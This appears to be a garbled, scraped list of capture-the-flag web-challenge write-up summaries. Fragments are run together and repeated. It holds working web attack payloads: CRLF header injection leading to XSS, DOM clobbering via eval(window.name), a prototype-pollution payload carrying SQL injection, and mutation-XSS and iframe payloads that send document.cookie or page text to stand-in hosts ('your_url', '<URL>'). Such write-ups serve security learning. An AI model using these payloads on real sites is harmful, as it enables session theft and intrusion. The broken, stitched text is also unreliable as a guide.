tl;dr
- CRLF Injection in Headed Key in Werkzeug 
headers.set - Using CRLF Injection at 
/?user=to Get XSS at/helloworld - Make the admin visit 
/?user=<PAYLOAD>and/helloworldusing cache poison or bug in regex(uninteded) 
tl;dr
headers.set/?user= to Get XSS at /helloworld/?user=<PAYLOAD> and /helloworld using cache poison or bug in regex(uninteded)tl;dr
tl;dr
<a id="showInfos"></a><a id="SETTINGS" name=check data-timezone="aaa" data-location="eval(window.name)"><a id="SETTINGS" name="x"> tl;dr
Header().Set() methodTiming-Allow-Origin headertl;dr
sha256('')./api/flag and send it to attacker server.tl;dr
 ; secure; samesite=none to cookie. Now,  <script src="https://jason.2021.chall.actf.co/flags?callback=load"></script> would retrieve the flag. tl;dr
tl;dr
{"widgetName":"constructor","widgetData":"{\"prototype\":{\"srcdoc\":\"<script src='/admin/debug/add_widget?panelid=star7rix&widgetname=test123&widgetdata=%27%29%2C%28%27star7rix%27%2C+%28select+flag+from+flag%29%2C+%27%7B%22type%22%3A%22test123%22%7D%27%29+--'></script>\"}}"}tl;dr
a<math>b<xss style=display:block>c<style>d<a title="</style>"><img src onerror=document.location='https://your_url/?'.concat(document.cookie)>">etl;dr
lcase('inKypinKy')id from dualheader("location:http://web/user.php?session=1111-22222-1234&sub=submit");header("location:http://web/flag.php?session=<iframe id="a" src="http://web/flag.php?session=1111-22222-1234&sub=submit" onload=window.location="<URL>?"+btoa(document.getElementById('a').contentWindow.document.body.innerText)>&sub=submit")